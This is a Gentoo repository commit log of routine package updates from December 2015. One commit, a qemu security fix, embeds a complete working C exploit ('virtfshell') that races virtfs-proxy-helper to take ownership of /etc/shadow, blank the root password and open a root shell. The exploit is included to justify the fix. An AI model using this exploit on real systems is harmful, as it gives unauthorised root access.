Commit Graph
30501 Commits
Author SHA1 Message Date
Agostino Sarubbo 691b0b52c4 dev-ruby/rrdtool-bindings: amd64 stable wrt bug #567586
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
2015-12-14 15:10:35 +01:00
Agostino Sarubbo 643af5309f net-analyzer/rrdtool: amd64 stable wrt bug #567586
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
2015-12-14 15:10:30 +01:00
Agostino Sarubbo 85c2ab6e6c app-text/docbook-xsl-stylesheets: amd64 stable wrt bug #568160
Package-Manager: portage-2.2.24
RepoMan-Options: --include-arches="amd64"
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
2015-12-14 15:10:22 +01:00
Andreas Sturmlechner 15f3b9b084 kde-misc/rsibreak: version bump
Package-Manager: portage-2.2.26
2015-12-15 00:49:18 +11:00
Andreas Sturmlechner fe0082e97d media-gfx/symboleditor: version bump
Package-Manager: portage-2.2.26
2015-12-15 00:25:20 +11:00
Michael Palimaka c874a5cc22 media-gfx/symboleditor: shorten DESCRIPTION to fit within 80-character guideline
Package-Manager: portage-2.2.26
2015-12-15 00:25:20 +11:00
Andreas Sturmlechner b6eb841a21 kde-base: Add >=cmake-3.4 configure fix for KDE PIM
See also: https://bugs.gentoo.org/show_bug.cgi?id=566058
Tested-by: Vadim

Package-Manager: portage-2.2.24
2015-12-15 00:12:17 +11:00
Michael Palimaka b1bea265b2 media-video/kamoso: version bump
Package-Manager: portage-2.2.26
2015-12-15 00:09:05 +11:00
Lars Wendler a740d93a05 www-servers/apache: Raised minimum required version of nghttp2
to version 1.2.1 as reuqested in bug #568224

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 13:39:37 +01:00
Lars Wendler cb9ccc19de app-text/docbook-xsl-stylesheets: Fixed homepage variable in ebuilds.
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 13:11:30 +01:00
Mike Pagano d2dd558682 sys-kernel/git-sources: Linux patch 4.4_rc5
Package-Manager: portage-2.2.24
2015-12-14 06:31:56 -05:00
Jason A. Donenfeld 183dd73947 app-emulation/qemu: critical security fix
The virtfs-proxy-helper program is not a safe binary to give caps.
The following exploit code demonstrates the vulnerability:

~=~=~=~= snip ~=~=~=~=

/* == virtfshell ==
 *
 * Some distributions make virtfs-proxy-helper from QEMU either SUID or
 * give it CAP_CHOWN fs capabilities. This is a terrible idea. While
 * virtfs-proxy-helper makes some sort of flimsy check to make sure
 * its socket path doesn't already exist, it is vulnerable to TOCTOU.
 *
 * This should spawn a root shell eventually on vulnerable systems.
 *
 * - zx2c4
 * 2015-12-12
 *
 *
 * zx2c4@thinkpad ~ $ lsb_release -i
 * Distributor ID: Gentoo
 * zx2c4@thinkpad ~ $ ./virtfshell
 * == Virtfshell - by zx2c4 ==
 * [+] Beginning race loop
 * [+] Chown'd /etc/shadow, elevating to root
 * [+] Cleaning up
 * [+] Spawning root shell
 * thinkpad zx2c4 # whoami
 * root
 *
 */

 #include <stdio.h>
 #include <sys/wait.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/inotify.h>
 #include <unistd.h>
 #include <stdlib.h>
 #include <signal.h>

static int it_worked(void)
{
	struct stat sbuf = { 0 };
	stat("/etc/shadow", &sbuf);
	return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
}

int main(int argc, char **argv)
{
	int fd;
	pid_t pid;
	char uid[12], gid[12];

	sprintf(uid, "%d", getuid());
	sprintf(gid, "%d", getgid());

	printf("== Virtfshell - by zx2c4 ==\n");

	printf("[+] Beginning race loop\n");

	while (!it_worked()) {
		fd = inotify_init();
		unlink("/tmp/virtfshell/sock");
		mkdir("/tmp/virtfshell", 0777);
		inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
		pid = fork();
		if (!pid) {
			close(0);
			close(1);
			close(2);
			execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);
			_exit(1);
		}
		read(fd, 0, 0);
		unlink("/tmp/virtfshell/sock");
		symlink("/etc/shadow", "/tmp/virtfshell/sock");
		close(fd);
		kill(pid, SIGKILL);
		wait(NULL);
	}

	printf("[+] Chown'd /etc/shadow, elevating to root\n");

	system(	"cp /etc/shadow /tmp/original_shadow;"
		"sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"
		"cat /tmp/modified_shadow > /etc/shadow;"
		"su -c '"
		"	echo [+] Cleaning up;"
		"	cat /tmp/original_shadow > /etc/shadow;"
		"	chown root:root /etc/shadow;"
		"	rm /tmp/modified_shadow /tmp/original_shadow;"
		"	echo [+] Spawning root shell;"
		"	exec /bin/bash -i"
		"'");
	return 0;
}
2015-12-14 12:12:01 +01:00
Patrice Clement b9fb83709e dev-perl/Pod-POM: Version bump.
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
2015-12-14 10:55:18 +00:00
Patrice Clement d9c35e53af dev-perl/File-Slurper: Initial commit
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
2015-12-14 10:55:14 +00:00
Patrice Clement c8dfd69f6f dev-perl/Math-Random-MT: Clean up old.
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
2015-12-14 10:55:12 +00:00
Patrice Clement 50ba2e9800 dev-perl/Math-BigInt-GMP: Version bump.
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
2015-12-14 10:55:08 +00:00
Patrice Clement c7c82202b7 dev-perl/Math-Random-MT: Version bump.
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
2015-12-14 10:55:02 +00:00
Lars Wendler 53b13a92be net-dns/nsd: Bump to versions 3.2.20 and 4.1.7 (bug #541036).
Proxy commit for Tom Hendrikx.

Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 11:41:16 +01:00
Lars Wendler 93db59aba9 app-arch/pbzip2: Removed old.
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 11:21:43 +01:00
Lars Wendler a00cf04f5b app-arch/pbzip2: Revbump to fix possible data corruption (#567952).
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 11:20:56 +01:00
Lars Wendler 22612ba7a9 sys-process/numactl: Removed old.
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 11:02:19 +01:00
Lars Wendler 38c382517c sys-process/numactl: Bump to version 2.0.11
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 11:02:16 +01:00
Patrice Clement 9b2f4c676d dev-java/rngom: Version bump.
Package-Manager: portage-2.2.20.1
Signed-off-by: Patrice Clement <monsieurp@gentoo.org>
2015-12-14 09:43:23 +00:00
Justin Lecher 10671eba99 dev-python/cvxopt: Version Bump
Gentoo-Bug: https://bugs.gentoo.org/show_bug.cgi?id=521210

Package-Manager: portage-2.2.26
Signed-off-by: Justin Lecher <jlec@gentoo.org>
2015-12-14 10:11:37 +01:00
Lars Wendler 68e0aa7f7b package.mask: Removed mask of apache-2.4.17
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 09:21:10 +01:00
Lars Wendler 814bcc1f46 app-admin/apache-tools: Removed old.
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 09:21:07 +01:00
Lars Wendler 7c78b83ee3 www-servers/apache: Removed old.
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 09:21:04 +01:00
Lars Wendler 7ddf38046a app-admin/apache-tools: Bump to version 2.4.18
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 09:21:01 +01:00
Lars Wendler 755e0c5b29 www-servers/apache: Bump to version 2.4.18
Package-Manager: portage-2.2.26
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 09:20:58 +01:00
Lars Wendler 736ab4a61b apache-2.eclass: Fixed broken URL.
Signed-off-by: Lars Wendler <polynomial-c@gentoo.org>
2015-12-14 09:20:55 +01:00
Anthony G. Basile d5b208491b sys-apps/hwids: stable on amd64, bug #568082
Package-Manager: portage-2.2.24
2015-12-14 02:58:48 -05:00
Anthony G. Basile da96e8eb2f virtual/libgudev: stable on amd64, bug #568082
Package-Manager: portage-2.2.24
2015-12-14 02:56:43 -05:00
Anthony G. Basile e354ddcaf3 dev-libs/libgudev: stable on amd64, bug #568082
Package-Manager: portage-2.2.24
2015-12-14 02:55:26 -05:00
Hans de Graaff 41a39fdb29 net-p2p/gtk-gnutella: add 1.1.7
Package-Manager: portage-2.2.24
2015-12-14 07:56:54 +01:00
Hans de Graaff a3e29a8173 net-p2p/gtk-gnutella: cleanup
Package-Manager: portage-2.2.24
2015-12-14 07:49:21 +01:00
Hans de Graaff b0cfbfade4 dev-ruby/ruby-oembed: add 0.9.0
Package-Manager: portage-2.2.24
2015-12-14 07:43:02 +01:00
Tim Harder f539745ba1 media-libs/libzen: remove old 2015-12-14 00:01:13 -05:00
Tim Harder 102161573c media-libs/libmediainfo: remove old 2015-12-14 00:00:37 -05:00
Tim Harder e48887806a media-video/mediainfo: remove old 2015-12-13 23:59:58 -05:00
Tim Harder 168df42464 media-video/mediainfo: version bump to 0.7.80 2015-12-13 23:57:45 -05:00
Tim Harder 544082bd42 media-libs/libmediainfo: version bump to 0.7.80 2015-12-13 23:57:45 -05:00
Tim Harder 5117f6b5dd media-libs/libzen: version bump to 0.4.32 2015-12-13 23:57:45 -05:00
Mike Frysinger fff5940b8d sys-devel/gcc: move 5.3.0 into ~arch 2015-12-13 23:40:45 -05:00
Tim Harder 92a970bbbd app-text/restview: remove old 2015-12-13 19:12:37 -05:00
Tim Harder daf95ea57b app-text/restview: version bump to 2.5.2 2015-12-13 19:11:02 -05:00
Tim Harder 3ed656d9fb dev-python/readme: add python3_5 support 2015-12-13 19:08:56 -05:00
Gokturk Yuksek 32c83e782f app-admin/lastpass: add long description in metadata
Package-Manager: portage-2.2.20.1
RepoMan-Options: --force
2015-12-13 19:06:39 -05:00
Tim Harder e0989afe38 dev-python/bleach: version bump to 1.4.2 2015-12-13 18:56:58 -05:00
Zoltan Puskas 62aa2af14b app-doc/kicad-doc: Bump to new stable version 4.0.1
Gentoo-Bug: #568088
2015-12-13 23:49:23 +00:00
Zoltan Puskas 46e74c9a4b sci-electronics/kicad: Bump to new stable release 4.0.1
Gentoo-Bug: #568088
2015-12-13 22:44:41 +00:00